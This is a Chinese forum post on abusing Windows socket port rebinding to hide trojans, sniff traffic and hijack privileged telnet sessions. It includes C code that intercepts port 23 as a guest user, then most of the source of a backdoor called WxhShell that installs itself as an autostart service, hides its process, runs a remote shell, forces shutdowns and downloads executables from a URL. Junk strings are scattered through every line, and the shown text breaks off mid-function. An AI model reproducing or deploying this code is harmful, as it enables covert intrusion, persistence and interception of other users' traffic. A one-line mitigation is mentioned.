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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H<N,%G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8}UI bF  
cYt!n5w~W  
  saddr.sin_family = AF_INET; pz>>)c`  
4HA<P6L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A3@6N(  
cExS7~*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *;*r 8[U}q  
3m)y|$R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 um0N)&iY  
P";'jVcR  
  这意味着什么?意味着可以进行如下的攻击:  0lR5<^B  
s->^=dy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TRq6NB  
"9e\c;a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L;I]OC^J  
JaGtsi9%.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E?0%Z&1h  
| %Vh`HT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XOS[No~  
kZ3ThIk%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D d</`iUq  
8-77d^cprR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lU8`F(Mn  
<e</m)j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3:i@II  
TWFr 4-  
  #include Ciz X<Cr}  
  #include B&uz;L3  
  #include k\GcHI-  
  #include    0:Ol7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )P|),S,;Z  
  int main() "LTad`]<Ro  
  { .0]<k,JZZ  
  WORD wVersionRequested; "a U aotx  
  DWORD ret; Y/zj[>  
  WSADATA wsaData; QMbOuw  
  BOOL val; ~M4;  
  SOCKADDR_IN saddr; #4 pB@_  
  SOCKADDR_IN scaddr; ;;N9>M?b  
  int err; s,&Z=zt0R  
  SOCKET s; Y`S vMkP)+  
  SOCKET sc; FQ5U$x. [P  
  int caddsize; }Kbb4]t|"  
  HANDLE mt; nc|p)  
  DWORD tid;   81 sG  
  wVersionRequested = MAKEWORD( 2, 2 ); |_@>*Vmg  
  err = WSAStartup( wVersionRequested, &wsaData ); ._{H~R|  
  if ( err != 0 ) { oEZdd#*;  
  printf("error!WSAStartup failed!\n"); ckE-",G  
  return -1; P me^l%M  
  } a HR"n|7{  
  saddr.sin_family = AF_INET; 2!=f hN  
   *YuF0Yt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9m~p0ILh  
*wB1,U{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5taT5?n2  
  saddr.sin_port = htons(23); 7\Y0z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -z%^)VE  
  { q9r[$%G  
  printf("error!socket failed!\n"); ZRU{ [4  
  return -1; i6Emhji  
  } CdjI`  
  val = TRUE; lchPpm9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6zuTQ^pz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x)O!["'"  
  { <1${1A <Wa  
  printf("error!setsockopt failed!\n"); -fW*vE:  
  return -1; hy"\RW  
  } 0[?Xxk}s0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?QdWrE_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PP33i@G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @YTaSz$L  
9 X`Sm}i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -**g~ty)  
  { LIF7/$,0  
  ret=GetLastError(); )W _v:?A9  
  printf("error!bind failed!\n"); 68C%B9.b'  
  return -1; |"CZT#  
  } 5(Q%XQV*P  
  listen(s,2); y,,dCca  
  while(1) -ifFbT+x  
  { 4yA+ h2  
  caddsize = sizeof(scaddr); 0rs"o-s<  
  //接受连接请求 N]=q|D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8\A#CQ5b  
  if(sc!=INVALID_SOCKET) eF-."1  
  { qHlQ+:n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -3Z,EaG^  
  if(mt==NULL) 1JG'%8}#8  
  { L2i_X@/  
  printf("Thread Creat Failed!\n"); Pw`8Wj  
  break; wIaony  
  } ?Z[[2\DR  
  } j[J-f@F \Y  
  CloseHandle(mt); E,x+JeKV  
  } 0gP}zM73  
  closesocket(s);  B Qxs~  
  WSACleanup(); ag;pN*z  
  return 0; tGE$z]1c@  
  }   9`X\6s  
  DWORD WINAPI ClientThread(LPVOID lpParam) hT&Y#fh  
  { >rmqBDKaQ  
  SOCKET ss = (SOCKET)lpParam; ZdWm:(nkU  
  SOCKET sc; ~t~k2^)|"  
  unsigned char buf[4096]; Q1I6$8:7  
  SOCKADDR_IN saddr; W/bQd)Jvk  
  long num; Ee%%d  
  DWORD val; Q6!zZ))~  
  DWORD ret; sfugY (m  
  //如果是隐藏端口应用的话,可以在此处加一些判断  a a/(N7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WUXx;9>  
  saddr.sin_family = AF_INET; o&)8o5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?(F6#"/E  
  saddr.sin_port = htons(23); <7Or{:Sc90  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cO+qs[ BQ  
  { bSi%2Onj  
  printf("error!socket failed!\n"); VSI9U3t3w  
  return -1; Q%f^)HZGR  
  } h# o6K#  
  val = 100; g63(E,;;J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XZ]uUP  
  { vDhh>x(  
  ret = GetLastError(); B:S>wFE(.  
  return -1; i0kak`x0  
  } }t=!(GOb}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }"P|`"WW  
  { b)5uf'?-  
  ret = GetLastError(); P90yI  
  return -1; BWv^ zi  
  } 7p16Hv7y~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IT7wT+  
  { J~ zUp(>K  
  printf("error!socket connect failed!\n"); o!Ieb  
  closesocket(sc); ;dtA4:IRZ4  
  closesocket(ss); %XoiVlT@:  
  return -1; {{D)YldtA  
  } *-=(Q`3  
  while(1) bL+_j}{:N  
  { f<fXsSv(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l \!fj#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r,1!?s^L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .*?wF  
  num = recv(ss,buf,4096,0); I7vz+>Jr  
  if(num>0) ):68%,  
  send(sc,buf,num,0); M2>Vj/  
  else if(num==0) M l{Z  
  break; ,,&* :<Q  
  num = recv(sc,buf,4096,0); kYqU9cB~  
  if(num>0) 6azGhxh  
  send(ss,buf,num,0); 2Aazy'/  
  else if(num==0) ~Z?TFg  
  break; j@U]'5EVB  
  } ^Y>F|;M#  
  closesocket(ss); [P=Jw:E  
  closesocket(sc); ~hnQUS`A  
  return 0 ; ll<Xz((o  
  } 8:c-k|CX  
sV{,S>s   
Sw8]EH6  
========================================================== +mmSfuO&\  
3G)#5 Lf<  
下边附上一个代码,,WXhSHELL 7u S~MW  
0w \zLU  
========================================================== l|~A#kq  
vMi;+6'n>  
#include "stdafx.h" Jr ,;>   
`iAF3:  
#include <stdio.h> 0d"[l@UU0  
#include <string.h> &0OG*}gi  
#include <windows.h> a LroD$#  
#include <winsock2.h> mPtZO*Fc  
#include <winsvc.h> EyD=q! ZVZ  
#include <urlmon.h> q77;ZPfs8  
jk; clwyz/  
#pragma comment (lib, "Ws2_32.lib") +,T RfP Fb  
#pragma comment (lib, "urlmon.lib") 85|OGtt  
U0 Yll4E  
#define MAX_USER   100 // 最大客户端连接数 (cAIvgI  
#define BUF_SOCK   200 // sock buffer h5{'Q$Erl  
#define KEY_BUFF   255 // 输入 buffer 1MP~dRZ$  
MSQEO4ge  
#define REBOOT     0   // 重启 VgG0VM  
#define SHUTDOWN   1   // 关机 /og=IF2:  
nA-.mWD_C  
#define DEF_PORT   5000 // 监听端口 @;zl  
\ =?a/  
#define REG_LEN     16   // 注册表键长度 hLd^ agX  
#define SVC_LEN     80   // NT服务名长度 yYIf5S`V]  
UqFO|r"M  
// 从dll定义API "/*\1v9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nX6u(U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DkY4MH?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |"X*@s\'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xaq-.IQAM$  
t9kzw*U9  
// wxhshell配置信息 ';w#w<yaI  
struct WSCFG { b,l$1{  
  int ws_port;         // 监听端口 25nt14Y 0u  
  char ws_passstr[REG_LEN]; // 口令 <y2U3; t  
  int ws_autoins;       // 安装标记, 1=yes 0=no (^8Y|:Tz  
  char ws_regname[REG_LEN]; // 注册表键名 ~drS} V  
  char ws_svcname[REG_LEN]; // 服务名 zH?!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jH5 k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l[mWf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  4C6YO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6"L cJ%o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U2tV4_ e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iW]j9}t  
v}}F,c(f  
}; 7Utn\l  
b$d;Qx  
// default Wxhshell configuration '%s.^kn  
struct WSCFG wscfg={DEF_PORT,  acajHs  
    "xuhuanlingzhe", [i21FX  
    1, `quw9j9`C\  
    "Wxhshell", L:KF_W.I+  
    "Wxhshell", *)$Uvw E  
            "WxhShell Service", >a!/QMh  
    "Wrsky Windows CmdShell Service", CTB~Yj@d+  
    "Please Input Your Password: ", !1jBC.G1  
  1, $u$!tj  
  "http://www.wrsky.com/wxhshell.exe", .LPV#&   
  "Wxhshell.exe" :)-Sk$  
    }; 1E[J%Rh\ l  
,uSMQS-O'4  
// 消息定义模块 oA7tE u   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n$MO4s8)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YFLZ%(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s [RAHU  
char *msg_ws_ext="\n\rExit."; :T ^a&)aL%  
char *msg_ws_end="\n\rQuit."; |IeTqEu9  
char *msg_ws_boot="\n\rReboot..."; 7Kr*P<-G  
char *msg_ws_poff="\n\rShutdown..."; {g'(~ qv  
char *msg_ws_down="\n\rSave to "; c?(4t67|  
vONasD9At  
char *msg_ws_err="\n\rErr!"; p,EQ#Ik  
char *msg_ws_ok="\n\rOK!"; -P(efYk  
j nkR}wAA  
char ExeFile[MAX_PATH]; L4@K~8j7  
int nUser = 0; B?eCe}*f;B  
HANDLE handles[MAX_USER]; 0JWDtmK=C  
int OsIsNt; !j8FIY'[  
wjU9ZGM  
SERVICE_STATUS       serviceStatus; GL>O4S<`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; afCW(zH p  
yJ[0WY8<kC  
// 函数声明 QGMV}y  
int Install(void); <O(4TO  
int Uninstall(void); \0^Kram>  
int DownloadFile(char *sURL, SOCKET wsh); $P >  
int Boot(int flag); A6  
void HideProc(void); E+j/ Cu  
int GetOsVer(void); !4ocZmj\  
int Wxhshell(SOCKET wsl); KaLzg5is  
void TalkWithClient(void *cs); Z\(q@3C  
int CmdShell(SOCKET sock); -vAC"8)S  
int StartFromService(void); AmUr.ofu  
int StartWxhshell(LPSTR lpCmdLine); rX U  
[$ubNk;!z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); frm >4)9+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %e8@*~h@  
6gU96Z  
// 数据结构和表定义 <.%4 ! }f8  
SERVICE_TABLE_ENTRY DispatchTable[] = Ij7p' a  
{ rP'me2 B  
{wscfg.ws_svcname, NTServiceMain}, =ke2;}X  
{NULL, NULL} =1@u  
}; 2,y|EpG#  
'NbHa!  
// 自我安装 G~]Uk*M q  
int Install(void) k`cfG\;r  
{ ^L,K& Jd  
  char svExeFile[MAX_PATH]; =bAx,,D#  
  HKEY key; ]"pVj6O  
  strcpy(svExeFile,ExeFile); }g@v`5  
8$] 1M,$r  
// 如果是win9x系统,修改注册表设为自启动 [DYQ"A= )d  
if(!OsIsNt) { W Tcw4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i9:C4',sw0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FBG4pb9=~  
  RegCloseKey(key); ./XYd"p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3RUy, s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fQ7V/x!  
  RegCloseKey(key); \Zb;'eDv  
  return 0; ImA @}:  
    } 2/U.| *mH  
  } qRu~$K  
} b;L\EB  
else { ~kV/!=  
Mg+2. 8%  
// 如果是NT以上系统,安装为系统服务 d.aS{;pse  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i[i4h"$0  
if (schSCManager!=0) 8u"U1  
{ 6u?>M9  
  SC_HANDLE schService = CreateService E[OJ+ ;c  
  ( 1Te %F+7  
  schSCManager, &L3M]  
  wscfg.ws_svcname, GWGSd\z  
  wscfg.ws_svcdisp, U%-A?5  
  SERVICE_ALL_ACCESS, #j;^\rSv-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IM*y|UHt  
  SERVICE_AUTO_START, g/4[N{Xf  
  SERVICE_ERROR_NORMAL, T%+ #xl  
  svExeFile, \-E^lIVF  
  NULL, >:SHV W  
  NULL, g%o(+d  
  NULL, ]iVcog"T  
  NULL, 2y75  
  NULL x exaQuK  
  ); )',R[|<  
  if (schService!=0) 9p85Pv [M=  
  { 2 'l'8  
  CloseServiceHandle(schService); zg>zUe bA  
  CloseServiceHandle(schSCManager); "2!&5s,1p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C-xr"]#]  
  strcat(svExeFile,wscfg.ws_svcname); @b\$yB@z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1> ?M>vK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n>z9K')  
  RegCloseKey(key); IZf{nQ[0  
  return 0; 5#6|j?_a  
    } :x3QRF  
  } t}_r]E,{u  
  CloseServiceHandle(schSCManager); cx,+k]9D  
} 39c2pV[  
} *YI98  
yHYsZ,GE  
return 1; #Bze,?@  
} UhF-K#Z9  
5{TsiZh4  
// 自我卸载 3l]lwV  
int Uninstall(void) 'B$yo]  
{ SZ7:u895E  
  HKEY key; J[&@PUy  
m<G,[Yc  
if(!OsIsNt) { Lpkyoh v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2F[ q).  
  RegDeleteValue(key,wscfg.ws_regname); S E<FL/x1#  
  RegCloseKey(key); e}voV0y\v:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  y`iBFC;_  
  RegDeleteValue(key,wscfg.ws_regname); q~Hn -5H4Q  
  RegCloseKey(key); Xxj- 6i  
  return 0; 8bGd} (  
  } %X]jaX 7  
} thh. A  
} R>|{N9  
else { Ng&%o  
- nm"of\o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2YL?,uLS  
if (schSCManager!=0) +bxYG D  
{ KRbvj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c2SO3g\"i  
  if (schService!=0) >dXGee>'M  
  { e)IzQ7Zex  
  if(DeleteService(schService)!=0) { >IafUy  
  CloseServiceHandle(schService); te`$%NRl  
  CloseServiceHandle(schSCManager); |T /ZL!  
  return 0; sFKX-S~:  
  } AOZP*\k  
  CloseServiceHandle(schService); [|wZ77\  
  } sfH_5 #w  
  CloseServiceHandle(schSCManager); BU)U/A8iS  
} wVXS%4|v  
} $QF{iV@6d4  
f^ZRT@`O  
return 1; >~rTqtKd  
} O^PKn_OJ  
?5__oT  
// 从指定url下载文件 3d8L6GJ  
int DownloadFile(char *sURL, SOCKET wsh) R+:yVi[F]U  
{ OF>mF~  
  HRESULT hr; 2>9C-VL2  
char seps[]= "/"; hF?1y`20  
char *token; ZgJQ?S$D  
char *file; L&8~f]  
char myURL[MAX_PATH]; jwe*(k]z  
char myFILE[MAX_PATH]; lgAoJ[  
g9pZ\$J&  
strcpy(myURL,sURL); h f)?1z4  
  token=strtok(myURL,seps); mM~qBrwL  
  while(token!=NULL) @n/\L<]t  
  { iozt&~o  
    file=token; X #dmo/L8  
  token=strtok(NULL,seps); :k]1Lm||  
  } h^45,E C  
[^n.Pns  
GetCurrentDirectory(MAX_PATH,myFILE); D8Ic?:iX[  
strcat(myFILE, "\\"); dbLZc$vPj  
strcat(myFILE, file); iXkF1r]i  
  send(wsh,myFILE,strlen(myFILE),0); qbr$>xH  
send(wsh,"...",3,0); urc| D0n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hvauyx5T  
  if(hr==S_OK) A Q U+mo  
return 0; L+F@:H6/0  
else f)rq%N &  
return 1; o|^3J{3G  
S72+d%$  
} YaqR[F  
k}CVQ@nd  
// 系统电源模块 @IKYh{j4  
int Boot(int flag) "^[ 'y7i  
{ bP#:Oi0v`  
  HANDLE hToken; NYUL:Tp  
  TOKEN_PRIVILEGES tkp; atH*5X6d  
7"D", 1h  
  if(OsIsNt) { I|!OY`ko  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :G=fl)!fE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6v!`1} ~  
    tkp.PrivilegeCount = 1; /<k/7TF`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (/YHk`v2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =J==i?  
if(flag==REBOOT) { ]mq|w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e]aDP 1n3t  
  return 0; wm@@$  
} j_[tu!~  
else { +E+p"7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z9Mfd#5?>P  
  return 0; E~T-=ocKE  
} sdrfsrNvB-  
  } ]cvwIc">  
  else { 0auYG><=  
if(flag==REBOOT) { FUzzB94a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) By,eETU]  
  return 0; aKDKmHd  
} ;1=1:S8  
else { <=&`ZH   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e"cXun4nS=  
  return 0; iVr JQ  
} ^CH=O|8j  
} 8d{0rqwNE  
L{\8!51L  
return 1; 3&4(ZH=  
} }6~hEc*/"  
M0"_^?  
// win9x进程隐藏模块 y<3-?}.aZ  
void HideProc(void) #z%fx   
{ kH1~k,|\&K  
'oVx#w^mf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ">nxHU  
  if ( hKernel != NULL ) On?v|10r'  
  { N>1em!AS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oo~; L,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5;WH:XM  
    FreeLibrary(hKernel); 4"ZP 'I;  
  } I 34>X`[o  
a-tmq]]E  
return; |-ALklXr  
} Rv>-4@fMJ  
t}4, ]m s  
// 获取操作系统版本  K5 z<3+  
int GetOsVer(void) R29~~IOqO  
{ C): 1?@  
  OSVERSIONINFO winfo; 3,w_ ".m`#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H8jpxzXv  
  GetVersionEx(&winfo); 1GRCV8 "Z^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >R_&Ouh:  
  return 1; G_JA-@i%  
  else 372rbY  
  return 0; ; 2#y7!  
} _f,C[C[e&  
r5/0u(\LB  
// 客户端句柄模块 re<{ >  
int Wxhshell(SOCKET wsl) gJ{)-\  
{ Fo_sgv8O<  
  SOCKET wsh; ~?}Emn;t  
  struct sockaddr_in client; !< ";cw(q  
  DWORD myID; J;e2&gB  
C) s5D  
  while(nUser<MAX_USER) n@i HFBb  
{ T-L||yE,h  
  int nSize=sizeof(client); vr l-$ii  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u=sp`%?  
  if(wsh==INVALID_SOCKET) return 1;  _[3D  
w9imKVry  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pv&sO~!iC  
if(handles[nUser]==0) eByz-,{P  
  closesocket(wsh); _VN?#J)o  
else 6 "sSoj  
  nUser++; B9 uoVcW  
  } WH}y"W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {P./==^0  
^CX6&d  
  return 0; 6 gE7e|+  
} Vb_4f"  
,4$>,@WW~  
// 关闭 socket 0OE:[pR  
void CloseIt(SOCKET wsh) kzLsoZ!I  
{ X_h}J=33Q  
closesocket(wsh); cT,sh~-x,  
nUser--; m(!FHPvN  
ExitThread(0); Fxz"DZY6  
} fr3d  
y%T_pTcU  
// 客户端请求句柄 ~!L} yw  
void TalkWithClient(void *cs) W!(zT6#  
{ Q%G8U#Tm  
AkV#J, 3LC  
  SOCKET wsh=(SOCKET)cs; eMsd37J  
  char pwd[SVC_LEN]; CTa57R  
  char cmd[KEY_BUFF]; oc`H}Wvn  
char chr[1]; F41=b4/  
int i,j; 3 0H?KAV  
NLqzi%s  
  while (nUser < MAX_USER) { da(<K}  
PZ9I`P! C  
if(wscfg.ws_passstr) { tsjrRMR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cwg"c4V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z:*|a+cy  
  //ZeroMemory(pwd,KEY_BUFF); D,feF9  
      i=0; ?tbrbkx  
  while(i<SVC_LEN) { wHy!CP%  
fZF@k5*\  
  // 设置超时 HZge!Yp<  
  fd_set FdRead; }}~|!8  
  struct timeval TimeOut; } Kgy  
  FD_ZERO(&FdRead); /8S>;5hvK@  
  FD_SET(wsh,&FdRead); T~e.PP  
  TimeOut.tv_sec=8; |{ip T SH  
  TimeOut.tv_usec=0; L8B! u9%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0l6.<-f{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (<9u-HF#  
8A# ;WG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4hj|cCrO  
  pwd=chr[0]; 0H:X3y+  
  if(chr[0]==0xd || chr[0]==0xa) { WsB?C&>x  
  pwd=0; 7[)E>XRE  
  break; 4WB0Pt{  
  } fJg+Ryo  
  i++; xJe%f\UDu  
    } })%{AfDRF  
|6- nbj  
  // 如果是非法用户,关闭 socket 9* M,R,y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o]V^};B  
} F^:3?JA _  
75lA%| *X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N!}f}oF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %N._w!N<5n  
6gDN`e,@  
while(1) { {Sh ;(.u^  
z$sT !QL~  
  ZeroMemory(cmd,KEY_BUFF); ;$4\e)AB  
 RRJ%:5&  
      // 自动支持客户端 telnet标准   L/K(dkx  
  j=0; e0 ecD3  
  while(j<KEY_BUFF) { UN#S;x*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TWTb?HP  
  cmd[j]=chr[0]; ?@x/E&  
  if(chr[0]==0xa || chr[0]==0xd) { : A;RH  
  cmd[j]=0; d=/F}yP~?s  
  break; flx(HJK  
  } @6.vKCSE  
  j++; ]SEZaT  
    } sI2^Qp@O1  
$??I/6  
  // 下载文件 R=?[Nz  
  if(strstr(cmd,"http://")) { d'> x(Yi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x8|J-8A(  
  if(DownloadFile(cmd,wsh)) Hl=xW/%6y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2\$oV  
  else BgT*icd8d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c71y'hnT  
  } !4!~L k=  
  else {  bN.Pex  
DY*N|OnqJ  
    switch(cmd[0]) { lOp`m8_=  
  -Y8B~@]P?  
  // 帮助 $~)SCbL^5  
  case '?': { (8OsGn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3so %gvY.'  
    break; l]SX@zTb  
  } *4 n)  
  // 安装 /$m;y[[  
  case 'i': { zQ PQ  
    if(Install()) #-J>NWdt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fP1! )po  
    else e3\T)x &=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !,PWb3S  
    break; j>kqz>3  
    } `]aeI'[}R  
  // 卸载 rm_Nn8p,  
  case 'r': { @4#vm@Yf_  
    if(Uninstall()) 7zc^!LrW<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  D%Z|  
    else W+* V)tf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?JUeuNs9  
    break; O6Y0XL  
    } j<$2hiI/?&  
  // 显示 wxhshell 所在路径 2an f$^[  
  case 'p': { 2mU.7!g)  
    char svExeFile[MAX_PATH]; B5QFK  
    strcpy(svExeFile,"\n\r"); v:#tWEbo-  
      strcat(svExeFile,ExeFile); mkpMfPt  
        send(wsh,svExeFile,strlen(svExeFile),0); Y);=TM6s  
    break; $cg cX  
    } +ge?w#R  
  // 重启 Vvo 7C!$z  
  case 'b': { 6\t@)=C,Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4M T 7`sr  
    if(Boot(REBOOT)) |j|rS5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gw` L"  
    else { VEH>]-0K  
    closesocket(wsh); m {}Lm)M  
    ExitThread(0); 9BB=YnKE  
    } HOi`$vX }N  
    break; P<-@h1p,  
    } TA\vZGJ('  
  // 关机 ry]l.@o;  
  case 'd': { 18Emi<&A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +`15le`R  
    if(Boot(SHUTDOWN)) kxCSs7J/  
